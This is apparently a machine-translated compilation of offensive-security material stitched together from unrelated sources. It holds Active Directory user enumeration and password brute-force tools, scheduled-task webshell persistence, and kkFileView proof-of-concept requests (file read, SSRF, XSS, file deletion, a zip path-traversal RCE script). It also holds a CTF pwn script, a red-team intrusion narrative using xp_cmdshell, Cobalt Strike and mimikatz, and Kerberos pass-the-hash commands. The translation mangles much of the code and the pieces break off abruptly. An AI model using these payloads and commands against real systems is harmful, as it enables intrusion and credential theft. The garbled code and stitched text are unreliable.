実装の原則:ドメインマネージャーには、デフォルトで管理者ユーザーがいます。管理者ドメインマネージャーのSIDは、Windows APIを介して見つかり、SID範囲を反復し、ドメインメンバー(ドメインユーザーとドメインマシン)を列挙します。

SID範囲:ドメインユーザーとドメインマシンのSIDは一般に1000を超えているため、ツールを使用する場合、SIDを1000を超えて横断します

2。ツールの使用

ヘルプ:

c: \ uses \ administrator \ desktopenudomainuser.exe

usage: enudomainuser.exe dc-ip domainname \ username start sid end sid t_num

Enudomainuser.exe \\ 192.168.52.2 Hack \ Administrator 1000 2000 100

enudomainuser.exe \\ドメインコントロールIPドメイン名\ドメインユーザー名デフォルト管理者SID END SID番号

デモを使用します:

Enudomainuser.exe 192.168.52.2 Hack \ Administrator 1000 2000 100

パラメーター説明:

192.168.52.2はドメインコントロールIPです

ハックはドメイン名です

管理者は、ドメイン管理のデフォルトユーザーです

1000はトラバーサルSIDの始まりです

2000はトラバーサルSIDの終わりです - 10000、20000など、少し高く設定できます。

100はマルチスレッドの数です

n1ipemjchke2873.png

1049983-20230323151129593-1430331576.png

0x08。 blastdomainuserpwd

機能:ドメインユーザーパスワードをブラストします

1。はじめに

IPC経由で接続- ブラストドメインユーザーのパスワード

EnudomainuserツールまたはKerbruteツールを組み合わせて、ドメインユーザー名リストを取得してからバースト

360に殺された場合は、exe名を変更するだけです

デザインのアイデア:

ドメインコントロールとの空の接続を確立できる場合は、Enudomainuserツールを使用して、すべてのドメインユーザー名を列挙してトラバースします

ドメインコントロールとの空の接続を確立できない場合は、kerbruteツールを使用してドメインユーザー名を爆破します

ドメインユーザー名のバッチを取得した後、ドメインユーザーパスワードの弱いパスワードを破ろうとし始めます

ドメインユーザーのパスワードに強度要件がある場合は、強力なパスワードを爆破してみてください。例:P@SSW0RD、1QAZ@WSXなど。

2。ツールの使用

usage: blastdomainuserpwd.exe domaincomputerip domainuser.txtパスワードt_num

blastdomainuserpwd.exe \\ 192.168.52.29 domainuser.txtパスワード100

blastdomainuserpwd.exe \\ドメインマシンIPドメインユーザー名辞書パスワード数のマルチスレッドを爆破しようとするパスワード

ドメインユーザー名辞書形式の仕様:ドメイン名\ドメインユーザー名

domain \ user

1049983-20230323151130536-534546264.png

実行の例:BlastDomainUserpwd.exe \\ 192.168.52.2 domainuser.txt 1qaz@wsx 3

1049983-20230323151131665-478973375.jpgドメインユーザーパスワードが正常に爆破されたことは、現在のディレクトリのsuccess.txtテキストに保存されます

1049983-20230323151132492-1163518885.png

jatow3dnlcg2878.png

0x09。 schtaskbackdoorwebshell

機能:タスクメンテナンスのWebシェルをスケジュールします

1。適用可能なシナリオ:

ディフェンダーは保護ネットワークでウェブシェルを発見し、それをクリアしました。脆弱性も修正されました。その後、ウェブサイトが復元されたとき、ウェブシェルをアップロードできなくなり、ウェブシェルはスケジュールされたタスクを通じて書き換えられました。

2。条件:

管理者の許可。スケジュールされたタスクを作成するには、管理者の権限が必要です

3。使用方法:

xxxx.exe C: \ www \ upload \ 1.jsp

4。実装プロセス:

c: \ www \ upload \ 1.jspのコンテンツをC: \ windows \ temp \ tempsh.txtにコピーしてから、計画されたタスクを作成します。実行されたコマンドはC: \ Windows \ System32 \ cmd.exe /c Copy C: \ Windows \ Temp \ Tempsh.txt C: \ www \ upload \ 1.jsp、30分ごとにトリガーされます。

5。ビデオディスプレイ:

k1dykjhv0d42879.gif

0x10。 regeditbypassuac

関数:UAC経由でexeを実行します。コンパイルされたEXEはWin10にのみ適していますが、Win7ではありません。

1。特定のプロセス

ホワイトリストプログラムレジストリバイパッソック

2。ビデオデモンストレーション

1049983-20230323151133619-1385657115.jpg

0x11。 DelegationVul

機能:内部ドメインの制約委任の検出

1。制約付き委任の利用

制約付き委任の利用

2。ビデオデモンストレーション

1049983-20230323151135034-1208473538.jpg

3。リソースベースの制約委任の利用

リソースベースの制約付き委任の利用

4。ビデオデモンストレーション

1049983-20230323151136117-431754580.jpg

0x12。 360SafebrowserDecrypt

関数:

ターゲットマシンで直接実行しますが、殺すしかありません

360SafebrowserDecrypt.exe

ターゲットマシンIDとASSIS2.DBデータベースをローカル復号化にドラッグします

マシンID:を確認してください

reg query 'hklm \ software \ microsoft \ cryptography' /v 'machineguid'

360セーフブラウザーインストールディレクトリ:を確認してください

reg query 'hkcr \ 360seses \ defaulticon'

デフォルトのASSIS2.DBデータベースディレクトリ:

c: \ users \

0x00 Kkfileview

には任意のファイル読み取り脆弱性があります

脆弱性説明Kkkfileviewは、中国でファイルドキュメントを作成するためのスプリングブートオンラインプレビュープロジェクトです。 KkkfileviewのKekingには、ディレクトリトラバーサルの脆弱性を介して任意のファイルを読み取ることの存在に由来するセキュリティの脆弱性があり、関連するホストに機密ファイルが漏れている可能性があります。

脆弱性はkkfileview=3.6.0に影響します

fofa query body='kkfile:view'

脆弱性の証明1049983-20230504221453043-1016303644.png

http://103.39.221.102:8012 //getCorsFile?urlpath=file: ///etc/passwd

1049983-20230504221453794-775012493.png

0x01 KKFILEVIEW SSR脆弱性

脆弱性説明KKFileview v4.1.0にはSSRFの脆弱性があります。攻撃者は、この脆弱性を悪用して、サーバー側のリクエスト偽造(SSRF)を引き起こす可能性があります。リモート攻撃者は、URLをURLパラメーターに注入して、アプリケーションに要求を強制的に発行できます。

脆弱性はkkfileview=v4.1.0に影響します

脆弱性の証明1049983-20230504221454445-1305845918.png 1049983-20230504221455114-887037370.png

http://121.40.238.4833608012 //getCorsFile?urlPath=AHR0CDOVL2QYYJY0NWQ3LMRUCY5KBNNTYXAUB3JN

1049983-20230504221455871-207554484.png 1049983-20230504221456993-720261784.png

0x03 kkfileview XSS脆弱性

脆弱性説明KKFILEVIEW V4.1.0には2つのXSS脆弱性があり、ウェブサイトCookieのリークにつながる可能性があります。

脆弱性はkkfileview=v4.1.0に影響します

脆弱性証明3http://www.baidu.com/test.txt'img src=111 oneerror=alert(1)

base64:のエンコード

ahr0cdovl3d3d3d3d3d3iywlkds5jb20vdgvzdc50ehqipjxpbwcg3jptexmsbvvmvycm9ypwfszxj0kdeppg==

URLエンコード:

AHR0CDOVL3D3D3D3D3D3IYWLKDS5JB20VDGVZDC50EHQIPJXPBWCGC3JPTEXMSBVVMVYCM9YPWFSZXJ0KDEPPG%3D%3D

POC1:

/onlinepreview?url=%3cimg%20src=x%20onerror=alert(0)%3e

/picturespreview?urls=ahr0cdovl3d3d3d3d3d3d3iywlkds5jb20vdgvzdc50ehqipjxpbwcg3jptexmsbvvbmvycm9ypwfszxj0kdeppg%3d%3d

http://139.9.99.164.127:8012/onlinepreview?url=%3cimg%20src=x%20onerror=alert(0)%3e

1049983-20230504221457649-612694906.png

http://119.91.146.127:8012/picturespreview?urls=ahr0cdovl3d3d3d3d3d3dy5iywlkds5jb20vdgvzdc50ehqipjxpbwcg3jptexmbvbbvvbbvvvmvycm9ypfsxxj0kepgkepgkepgkepgkdpgd

1049983-20230504221458330-495525609.png

svg/onload=alert(1)base64:のエンコード

phn2zy9vbmxvywq9ywxlcnqomsk+

URLエンコード:

phn2zy9vbmxvywq9ywxlcnqumsk%2b

POC2:

/picturespreview?urls=currenturl=phn2zy9vbmxvywq9ywxlcnqomsk%2b

http://119.91.146.127:8012/picturespreview?urls=culrenturl=phn2zy9vbmxvywq9ywxlcnqumsk%2b

1049983-20230504221458944-1650026347.png

0x04 kkfileview任意のファイルをアップロードして、XSSとファイルインクルージョンの脆弱性をもたらします

脆弱性説明KKFileViewのバージョン全体にファイル解決脆弱性があります。攻撃者は、この脆弱性を使用して、ストレージXSS、ファイル包含、またはSSRFを作成できます。リモート攻撃者は、JavasRiptスクリプトをサーバーにアップロードすることにより、アプリケーションを永続的に使用して攻撃要求を発行できます。

脆弱性はkkfileview=4.1.0に影響します

脆弱性証明1。ファイルをアップロードします

1049983-20230504221459633-1950754539.png

1049983-20230504221500351-362477331.png

2。脆弱性の場所にアクセスします

http://139.9.101.60:8012/demo/2.html

1049983-20230504221501003-1408400025.png

1049983-20230504221501589-396938795.png

2。ファイルには次のものが含まれます。

https://file.keking.cn/demo/test1.js image

アクセス:

https://file.keking.cn/demo/test14.html image

0x05 kkfileview任意のファイル削除脆弱性

脆弱性の説明

kkfileview v4.0.0には任意のファイル削除脆弱性があり、システム内のファイルが削除される可能性があります

脆弱性の影響

kkfileview=v4.0.0

脆弱性証明

/deletefile?filename=demo%2f.ionss.pdf

このURIへのリクエストの取得は、\ kkfileview-master \ server \ src \ main \ fileディレクトリのxss.pdfを削除します(元々、\ kkfileview-master \ server \ src \ main \ file \ demoディレクトリの下のファイル)

1049983-20230504221503856-1243945439.png 1049983-20230504221504580-1401680988.png

0x06 KFILEVIEW-V4.3.0〜V4.40-BETA RCE脆弱性

脆弱性への影響:V4.2.1とV4.2.0は両方の影響、4.1.0は影響を受けません

ファイルをアップロード

インポートzipfile

__name__=='__main __' :の場合

try:

binary1=b'1ueeeeeee '

binary2=b'hacked_by_1ue '

zipfile=zipfile.zipfile( 'hack.zip'、 'a'、zipfile.zip_deflated)

info=zipfile.zipinfo( 'hack.zip')

zipfile.writestr( 'test'、binary1)

zipfile.writestr( '././././././././././././././././././././././///./tmp/flag'、binary2)

zipfile.close()

e:としてのioerrorを除く

eを上げる

hack.zip_cacheファイルの作成を容易にするには、悪意のあるhack.zipを作成します。

img

ファイルとプレビューをアップロードします

img

img

成功した旅行を発見してください

rce

任意のファイルをアップロードし、ファイルの内容を追加できます

私の調査の後、私はターゲットがODTをPDFに使用するときにシステムのLibreofficeを呼び出すことを発見し、このプロセスはライブラリのUno.pyファイルを呼び出すため、Pyファイルのコンテンツを上書きすることができます。

zipfileをインポートします

__name__=='__main __' :の場合

try:

binary1=b'1ue '

binary2=b'import os \ r \ nos.system(\ 'touch /tmp /hack_by_1ue \') '

zipfile=zipfile.zipfile( 'hack.zip'、 'a'、zipfile.zip_deflated)

info=zipfile.zipinfo( 'hack.zip')

zipfile.writestr( 'test'、binary1)

Zipfile.Writestr( '././././././././././././././././././././././オプション/./.

zipfile.close()

e:としてのioerrorを除く

eを上げる

悪意のあるzipパッケージのアップロードとプレビュー

img

次に、ODTファイルをアップロードし、LibreOfficeタスクを開始してアップロードおよびプレビューします

img

コマンドが正常に実行されたことがわかります

img

コンテンツは確かにuno.pyで書かれています

re

emoji connect

はExcelプラグインです。プレイを開始した後、4848マトリックスが初期化されます。各グリッドには絵文字があり、その後、毎回2つのグリッドがクリックされます。 2つのグリッドの絵文字が同じ場合、これらの2つのグリッドは排除されます。最初は、星などの3つのグリッドの排除だと思っていましたが、ゲームのロジックを見ると一度に2つしか置き換えなかったので、次々に見ました。次に、フラグのロジックは、グリッドが排除されるたびにグリッドの行を差し引くことです。添え字は、魔法の方法を使用してUnicodeから転送されます。マトリックス内の絵文字の最小値を直接使用して、下付き文字をオフセットします。

dat='' '

1。ミス

1.Sudoku_easy

シンプルな数独身、注意を払うためのいくつかの小さなポイント、各レベルが送信されてから5秒後に睡眠をとって、質問が眠りに返されます

image-20230610185716309

形を次のようにします

--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- -

800103720

023840650

410006008

300001062

0052407

072060090

160000375

205019846

000030000

--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- -

2次元配列に変換して数独を解き、戻り結果をマルチライン文字列に再変換します

def parse_input(input_list):

ボード=[]

input_list:の行

nums=list(map(int、row))

board.append(nums)

返品ボード

def format_output(board):

formatted=''

ボード:の行

formatted +='' .join(map(str、row)) + '\ n'

return formatted.strip()

最初は、5ポイントを獲得するたびに120ポイントを獲得する必要があり、24回の範囲を持っていると思いましたが、問題を抱えていました。その後、スコアが増加したことがわかりました。同時に、私はデバッグし、120ポイントを獲得した場合、ゲッシェルを返すため、範囲を7回変更したことがわかりました。

最終スクリプト:

def find_empty(board):

範囲の行(9):の場合

範囲のcol(9):の場合

ボード[row] [col]==0:の場合

Return Row、col

なしなし

def is_valid(board、num、pos):

行、col=pos

範囲のIの場合(9):

ボード[row] [i]==numおよびcol!=i:の場合

falseを返します

ボード[i] [col]==num and row!=i:の場合

falseを返します

box_row=row //3

box_col=col //3

範囲のi(box_row * 3、box_row * 3 + 3):

range(box_col * 3、box_col * 3 + 3):の場合

ボード[i] [j]==numおよび(i、j)!=pos:の場合

falseを返します

trueを返します

def solve(board):

find=find_empty(ボード)

find:がない場合

trueを返します

else:

行、col=find

範囲(1、10):のIの場合

is_valid(board、i、(row、col)):の場合

ボード[row] [col]=i

解決(ボード):の場合

trueを返します

ボード[row] [col]=0

falseを返します

def parse_input(input_list):

ボード=[]

input_list:の行

nums=list(map(int、row))

board.append(nums)

返品ボード

def format_output(board):

formatted=''

ボード:の行

formatted +='' .join(map(str、row)) + '\ n'

return formatted.strip()

#input_string='' '-------------------------

#800103720

#023840650

#410006008

#300001062

#000052407

#072060090

#160000375

#205019846

#000030000

#----------------------------

#今、私にあなたがsolve: '' 'を与えてください

#リスト=input_string.split( '\ n')[1:10]

#ボード=parse_input(lists)

#印刷(ボード)

#solve(ボード)

#印刷(ボード)

PWNインポートから *

#接続を作成します

conn=remote('47 .108.165.60 '、27539)

#ウェルカムメッセージを受け取ります

範囲のIの場合(7):

msg=conn.recvuntil( '入力:')。ストリップ()。デコード( 'utf-8')

印刷(msg)

#選択を送信します

conn.sendline( '1'.encode())

#次のプロンプトを受信します

msg=conn.recvuntil( 'level:'を選択してください)。ストリップ()。デコード( 'utf-8')

印刷(msg)

conn.sendline( '5'.encode())

msg=conn.recvuntil( 'clock start')。strip()。decode( 'utf-8')

印刷(msg)

time.sleep(5)

msg=conn.recvuntil( '今私にsolve:'を与えます)。sprip()。decode( 'utf-8')

印刷(msg)

lists=msg.split( '\ n')[1:10]

board=parse_input(lists)

SOLVE(ボード)

solved=format_output(board)

conn.sendline(solved.encode())

conn.Interactive()

または

PWNインポートから *

def is_valid(board、row、col、num):

#行が合法かどうかを確認してください

範囲のIの場合(9):

ボード[row] [i]==num:の場合

falseを返します

#列が合法かどうかを確認してください

範囲のIの場合(9):

ボード[i] [col]==num:の場合

falseを返します

#9番目の広場が合法かどうかを確認してください

start_row=(row //3) * 3

start_col=(col //3) * 3

範囲のIの場合(3):

範囲(3):のJの場合

ボード[start_row + i] [start_col + j]==num:の場合

falseを返します

trueを返します

def solve_sudoku(ボード):

範囲の行(9):の場合

範囲のcol(9):の場合

ボード[row] [col]==0:の場合

範囲のnum(1、10):の場合

is_valid(Board、row、col、num):の場合

ボード[row] [col]=num

solve_sudoku(ボード):の場合

trueを返します

ボード[row] [col]=0#バックトラッキング

falseを返す#すべての数字が試され、適切な数字が見つかりませんでした

trueを返します

def print_sudoku(board):

a=''

範囲の行(9):の場合

範囲のcol(9):の場合

a +=str(board [row] [col])

a+='\ n'

A.Strip()を返します

context.log_level='debug'

p=remote('47 .108.165.60 '、23479)

p.recv()

範囲のIの場合(7):

P.Sendline( '1')

P.Recvuntil( 'レベル:を選択してください')

P.Sendline( '5')

a='------------------- \ nnow shive you solve:'

content=p.recvuntil(a).decode()。分割(a)[0] [-130:]

sudoku=content.split( '-------------------')[1]

sudoku=sudoku.strip()

sudoku=sudoku.split( '\ n')

tmp=[]

sudoku:のsudoの場合

a=sudoのsの[int(s)]

TMP.Append(a)

solve_sudoku(tmp):の場合

result=print_sudoku(tmp)

log.info(結果)

result.split( '\ n'):のラインの場合

p.send(line)

#content=p.recv()。decode()

p.interactive()

独立した数独復号化スクリプト:

クラスsudoku():

def __init __(self、sudo_ku_data):

ISInstanceではない場合(sudo_ku_data、list):

Raise TypeError(f'sudo_ku_data paramsはリストでなければなりませんが、{sudo_ku_data}は{type(sudo_ku_data)} 'です。

Len(sudo_ku_data)!=9またはlen(sudo_ku_data [0])!=9:の場合

タイプエラーを上げる(

f'sudo_ku_data paramsは9*9のリストでなければなりませんが、{sudo_ku_data}は{len(sudo_ku_data)}*{len(sudo_ku_data [0])} list ')です。

self.sudo_ku=sudo_ku_data

#既存のデータを各行に保存します

self.envery_row_data={}

#各列の既存の数字

self.every_column_data={}

#3*3ごとに

self.envery_three_to_three_data={}

#空席の場所

self.vacant_position=[]

#各空席で試した数字

self.every_vacant_position_tried_values={}

#データを初期化します

self._init()

def _add_row_data(self、row、value):

'' '

初期化の場合

self.envery_row_dataにデータを追加します

:param row:

:Param Value:

:RETURN:

'' '

rowがself.envery_row_data:にない場合

self.every_row_data [row]=set()

self.envery_row_data [row] :の値の場合

Raise TypeRror(f'params {self.sudo_ku}は無効な数独')

self.every_row_data [row] .add(value)

def _add_column_data(self、column、value):

'' '

初期化の場合

self.envery_column_dataにデータを追加します

:Param Column:

:Param Value:

:RETURN:

'' '

columnがself.envery_column_data:にない場合

self.every_column_data [column]=set()

self.envery_column_data [列] :の値の場合

Raise TypeRror(f'params {self.sudo_ku}は無効な数独')

self.every_column_data [column] .add(value)

def _get_three_to_three_key(self、row、column):

'' '

3*3キーごとに取得します

:param row:

:Param Column:

:RETURN:

'' '

[0、1、2] :の行の場合

[0、1、2] :の列の場合

key=1

[3、4、5] :の列列

key=2

else:

key=3

[3、4、5] :のElif Row

[0、1、2] :の列の場合

キー=4

[3、4、5] :の列列

key=5

else:

key=6

else:

[0、1、2] :の列の場合

key=7

[3、4、5] :の列列

key=8

else:

key=9

キーを返します

def _add_three_to_three_data(self、row、column、value):

'' '

初期化の場合

self.envery_three_to_three_dataにデータを追加します

:param row:

:Param Column:

:Param Value:

:RETURN:

'' '

key=self._get_three_to_three_key(列、列)

key.enty.envery_three_to_three_data:ではない場合

self.every_three_to_three_data [key]=set()

self.every_three_to_three_data [key] .add(value)

def _init(self):

'' '

入ってくる数独に基づいてデータを初期化します

:RETURN:

'' '

rowの場合、row_datas in enumerate(self.sudo_ku):

列の場合、値の値(row_datas):

value=='' :の場合

self.vacant_position.append((列、列))

else:

self._add_row_data(row、value)

self._add_column_data(列、値)

self._add_three_to_three_data(row、column、value)

def _judge_value_is_legal(self、row、column、value):

'' '

当事者によって配置されたデータが合法かどうかを判断する

:param row:

:Param Column:

:Param Value:

:RETURN:

'' '

#このデータの行に値は存在しますか

self.envery_row_data [row] :の値の場合

falseを返します

#このデータの列に値は存在しますか

self.envery_column_data [列] :の値の場合

falseを返します

#値この3*3の宮殿は存在しますか?

key=self._get_three_to_three_key(列、列)

self.envery_three_to_three_data [key] :の値の場合

falseを返します

trueを返します

def _calculate(self、vacant_position):

'' '

計算して、数独に値の配置を開始します

:PARAM VACANT_POSITION:

:RETURN:

'' '

#現在の場所を取得します

行、列=facant_position

値=set(範囲(1、10))

#現在の場所が現在の場所で試されたデータを保存するための一意のキーを作成します

key=str(row) + str(列)

#このキーが存在する場合は、値の差を取得します。両方ともセットであるため、直接使用するだけです -

self.envery_vacant_position_tried_values:のキーの場合

値=values-self.envery_vacant_position_tried_values [key]

#このキーが存在しない場合は、空のコレクションを作成します

else:

self.every_vacant_position_tried_values [key]=set()

値の値:

#現在のデータを現在の場所で試されたデータに追加します

self.every_vacant_position_tried_values [key] .add(value)

#現在の値が合法である場合、配置できます

self._judge_value_is_legal(row、column、value):の場合

#print(f'set {vacant_position}値は{値} ')

序文

少し前に、私は攻撃的で防御的なドリルに参加しました。従来の脆弱性を使用した後、私は多くのマスターがJSのブレークスルーを探している記事を共有していると思ったので、私はJSを始めたばかりで、ついにターゲット許可と個人情報を取得するためにイントラネットの入り口を開きました。ここでプロセスを共有しましょう。

ステートメント:このドリルでは、すべてのテスト機器がオーガナイザーによって提供され、すべてのトラフィックは監査のためにアーカイブされ、すべての操作は承認の下で完了し、すべてのデータは終了後に安全に破壊されました。

JS

を実行します

最初は1つのログインページのみがあり、ユーザー名を列挙できず、爆発の試みが失敗しました。

1049983-20230421162846001-590057695.jpg

BPを使用してパケットをキャッチしてJS関連のファイルを表示し、SQLステートメントがあることを見つけます

1049983-20230421162846874-1444649661.jpg

comboxSQL変数を追跡し、アクションクラスが定義されていることを発見します

1049983-20230421162847615-1929940280.jpg

このAction ClassPathを検索し、アクセス方法がURLステッチを使用していることを確認します。

1049983-20230421162848353-2077148943.jpg

パスがスプライスされ、パラメーターがSQLステートメントに入力されます。このテストでは、データベースがMSSQLデータベースであることがわかりました。システムコマンドは、XP_CMDSHELLを介して実行できます。

1049983-20230421162849113-20833891.jpg

シェルコデロデーターはオンラインで入手できます

システム許可を実行した後、CSを殺さずにリモートダウンロードを使用してオンラインになることを計画しましたが、正常に起動しませんでした。 360エンタープライズクラウドがあることがわかりました。これにより、EXEの実行の切片がトリガーされました。

1049983-20230421162849831-1377837346.jpg

あなたの思考を変えてください。 GodzillaのWebShellをダウンロードした後、GodzillaのShellCodeloader関数を使用して、独自のCS Trojanシェルコードをロードしてオンラインになります。

1049983-20230421162850477-227933550.jpg

データベース構成情報を復号化する

exeファイルが実行されると、アクセスが拒否され、ファイルが実行できないためです。ローカル構成ファイルを検索することにより、データベースアカウントのパスワードが見つかりましたが、データベースパスワードは暗号化されました。

1049983-20230421162851223-804733282.jpg

履歴Webサイトのバックアップファイルを検索することにより、システムの初期構成ファイルはデータベースパスワード暗号化用に構成されておらず、テストではデータベースに接続できることがわかりました。

1049983-20230421162852001-751908926.jpgこのシステムのデータベースバックアップファイルを調べると、サーバーによって展開された別のビジネスシステムを誤って発見し、データベース構成ファイルのアカウント番号、パスワード、およびデータベースIPも暗号化されたストレージです。

1049983-20230421162852792-1421720165.jpg

システムの特性を見つけることにより、サイトサーバーCMSシステムとして発見されます。オンライン検索から、このCMSの専用暗号化と復号化ツールであるSiteserver CLIが見つかりました。

1049983-20230421162853567-1190126543.jpgを実行した後、データベースPlantext構成情報を取得することもできます

server=x.x.x.x; uid=sa; pwd=xxcsthink!@#123; database=newdfgxxcsプロキシを接続し、テスト接続が成功します

1049983-20230421162854235-54742713.jpg

ただし、データベースサーバーはEXEプログラムを実行できず、Mimikatzを実行して管理者ハッシュを読み取ることができず、ユーザーを作成できず、TSCANをイントラネットスキャンにアップロードできなかったため、ここに滞在するのは恥ずかしくなりました。最後に、CSSプラグインの情報検出を使用して、イントラネットセグメント資産を検出します。

1049983-20230421162854970-187933157.jpg

17010プラグイン攻撃を使用しても失敗しました

1049983-20230421162855722-1067996590.jpg

プロキシチャインを使用してMSFと協力して、PC許可を取得するImage

1049983-20230421162857116-372680895.jpg Mimikazを使用して管理者のパスワードを読み取り、リモートデスクトップを有効にし、ログインすることが不可能であることがわかります。

1049983-20230421162857804-1002896266.jpg

MSFロードMimikazモジュール

特権:Debug

TS:MultirdP

イントラネット権限を取得

新しいユーザーを作成して、個人のPCコンピューターを入力する

1049983-20230421162858564-402275774.jpg

ベースとしてこのPCを介して、TidefingerとTSCANをアップロードしてイントラネットスキャンを実行します。ここでこれら2つのツールを紹介する必要があります。

GO言語バージョンのTidefinger指紋認識機能:1。Dismap、VSCAN、KSCAN、FOFA、Serverscan、およびその他の指紋2を追加しました。 3.ディスプレイ効果は解体から借用されており、現在、効率と指紋のカバレッジの点で高くなるはずです。

1049983-20230421162859263-1813055310.jpg

GO言語バージョンのTSCAN関数:1。TSCANは、TIDEセキュリティチームが共同で維持する内部および外部ネットワークアセットスキャンツールです。 2。基本コードはFSCAN 3の更新に反復します。ChaoshengPoc脆弱性検出プラットフォームにリンクして、チームメンバーは毎月公開された最近のPOCを書き込み、公開されたPOCをインターネット上で定期的に収集および整理し、最終的に更新してリリースします。

1049983-20230421162859956-1543115676.jpg

イントラネットネットワークセグメントをスキャンした後、次のステップは脆弱性検証プロセスです。私はそれをちらっと見て、直接ぶつかることができる穴を見つけませんでした。ただし、指紋は、イントラネットIPの1つがポート2222でRMIとして開かれたことを検出しました。

1049983-20230421162900571-2117737162.jpg Image

サーバーは許可を取得していますが、このサーバーで情報を収集する際に、他の関連するアカウントのパスワード情報は見つかりませんでした。

samファイルユーザーハッシュを取得

MimikazでSekurlsa:3:LogonPassWordsコマンドを使用して、プロセスLSAの情報を読み取って、現在ログに記録されているユーザーのパスワード情報を取得します。出力の結果は、管理者などのユーザー情報がないことを示しています(主に、CSを使用する許可を使用する場合、ソフトキリング戦略がトリガーされ、サーバーが再起動されると推定されているため)。次に、クエリユーザーを使用して、管理者ユーザーがオンラインではないことがわかりました。そのため、メモリを介して管理者のハッシュを直接読み取ることはできません。 Mimikazを使用して、SAMファイルでハッシュを読み取ります。

#ELEVATE権限

特権:Debug

#ELEVATE SYSTEM

token:3360Elevate

#crawl sam

lsadump3:SAM 1049983-20230421162901858-1741339910.jpg

ハッシュ配信

NTLMハッシュを取得した後、オンラインWebサイトからプレーンテキストパスワードを直接解読できないことがわかりました。取得したNTLMハッシュは、ハッシュを通過して4つのサーバーの権限を取得します。

1049983-20230421162902595-861301691.jpg

次に、ハッシュを使用してサーバーにログインし、情報を収集し続けます。ネスティング人形のリモートデスクトップはサーバーの1つで見つかり、03システム用でした

1049983-20230421162903307-2132010902.jpg

サーバーパスワードを取得するためのルール

Mimikazを介してこのパスワードを読む(KB2871997の前、MimikatzはPleantextパスワードを直接つかむことができます)

*username3360administrator

*domain:win-laolovgmf

*password:

Kerberos認定プロセス

序文

この記事では、主にドメインでのKerberos認定に関する最近学んだ攻撃方法の一部を共有しています。それは主に自己理解に焦点を当てており、原則の理解から基本的なツール利用に至るまで、それを説明します。個人的な理解と分析は比較的長続きします。長すぎると思われる場合は、ジャンプして見ることができます。私を許してください。エラーがある場合は、修正を行うようにマスターに依頼してください

Kerberos認証プロセスは単純な説明であり、PAC、S4U2Self(委任)、S4U2Proxy(委任)など、説明されていない多くの詳細があります。

この記事の主な環境はvulnStack、Hongri射撃場です

ドメインコントロールOWA WIN2008R2 192.168.52.138ドメインホストSUT1 WIN7 192.168.52.130ドメイン外ホストK0UAZ Win7(ドメインコントロールにアクセス可能)192.168.52.162 KDCと呼ばれるキーディストリビューションセンターは、ASおよびTGSAuthentication Service Authentication Servicesを含むデフォルトでドメインコントロールにインストールされます。ASと呼ばれる、KDC認証チケット付与サービスチケット助成サービスに使用されます。TGSと呼ばれます。クライアントクライアントはユーザーを参照します。サーバー側は、コンピューターアカウントまたはサービスです。

プロセスと原則

gygfx4fdax42797.png

上記の図には、クライアントとKDCの時点で、クライアントとKDCのTG、クライアントとサーバーの3つのリクエスト返品プロセスが含まれます。詳細なリクエスト応答は次のとおりです

AS-REQ:クライアントはKDC(AS)への認証要求を開始します。要求された資格情報は、クライアントのNTLMハッシュによって暗号化されたタイムスタンプと、その他のID情報です。 AS-REP:AS ASは、復号化にクライアントNTLMハッシュを使用します。検証が正しい場合は、KRBTGTハッシュで暗号化されたTGTチケットを返します(これはTGS-REQのTGSに送信され、STと交換に使用されます)。 TGTにはPACTGS-REQが含まれています:クライアントはTGTキャッシュをローカルで取得し(復号化できません)、STチケットをTGSと交換するために、対応するサービスTGS-REPにアクセスできます。結果が正しい場合は、サービスを提供するサーバーのサーバーハッシュ(マシンユーザーハッシュ)によって暗号化されたST(サーバー)を返します。チケット)AP_REQ:クライアントは、取得したSTをサーバーに持ち込み、リソースAP_REPを要求します:サーバーは独自のハッシュを使用してSTを復号化します。復号化が正しい場合は、取得したPACを使用してKDCにアクセスして、クライアントがアクセス許可を持っているかどうかを判断します。 PACを復号化した後、KDCはユーザーSIDとグループの情報を取得し、Access Control Table(ACL)に基づいて裁判官の許可が取得されます。それが満たされている場合、サーバーはリソースをクライアント

Kerberos関連のセキュリティ問題

图片来自dariker师傅的文章に返します

キー(ハッシュ)

を渡します

ハッシュ

を渡します

パスハッシュは、NTLM認証とKerberos認証にも適しています。ドメインの外側だけでなく、ドメイン内でも使用できます。 Kerberos Authenticationでは、AS-Reqがクライアントハッシュ暗号化関連情報を介して送信されます。したがって、クライアントのNTLMハッシュを取得すると、ハッシュを通過すると他のホストへのアクセス許可を水平に取得できます。

使用

ここでは、ドメインパイプNTLMハッシュiiksmn4de3w2799.pngが取得され、特定のドメインマシンにログインされると仮定します。

PTHの次のツール

Mimikatzを使用して、資格情報をLSASSに注入するために必要であるため、Sedebugを有効にするにはローカル管理者の権利(bypassuac)が必要です。インジェクション後、このユーザー資格情報を使用して、WMICEXEC(PYまたはEXEの両方)からPTHを使用してドメイン内のホストにアクセスできます。管理者の権利は必要ありません。 CMEを使用してPTHなどをバッチバッチするコマンドの直接リモート実行に適しています。ここでは、Mimikatzは例として使用されます。ハックユーザー(STU1のローカル管理者グループのメンバー、ドメインユーザー)

ドメインコントロール共有ディレクトリにアクセスする許可なし0sj1kl3juhx2800.png

資格情報を注入した後のMimikatz Mimikatz 'Privilege:3:Debug' 'sekurlsa:pth /user:a /domain:god.org /rc43:b44444189f93621A rtnn12kkt4u2801.png

キーを渡します

ミミカッツ情報のヒント

NTLMハッシュは、XP/2003/VISTA/2008および2008R2/8/2012 KB2871997(AESが利用できないか交換可能)で必須です。 AESキーは、8.1/2012R2または7/2008R2/8/2012でKB2871997でのみ置き換えることができます。この場合、NTLMハッシュを避けることができます。

キーはドメインでのみ使用できます。 AES暗号化をサポートするバージョンには、KB2871997パッチがインストールされたWin8.1/2012R2またはWin7/2008r2/8/2012が含まれます

使用

AESキーodj1o4mogdw2802.pngを取得します

次に、sekurlsa:3360pthモジュールmimikatz 'privilege:3360debug' 'sekurlsa:pth /user:administrator /domain:god.orgを使用します/AES256:BF723755BC5F72A377BDA41CA58FD925DF7EE45DF9A026AC5CD3201020202E33 '1y3ezs2lbxv2803.png

Win7ホストにパッチが適用されないため、パスは自然に失敗します。実用的な環境では、PTHがRC4暗号化をサポートしていない場合、保護されたユーザーグループにある可能性があります。この時点で、AES128およびAES256暗号化をPTKに試すことができます

リモートデスクトップ(制限付き管理モード)でハッシュを渡します

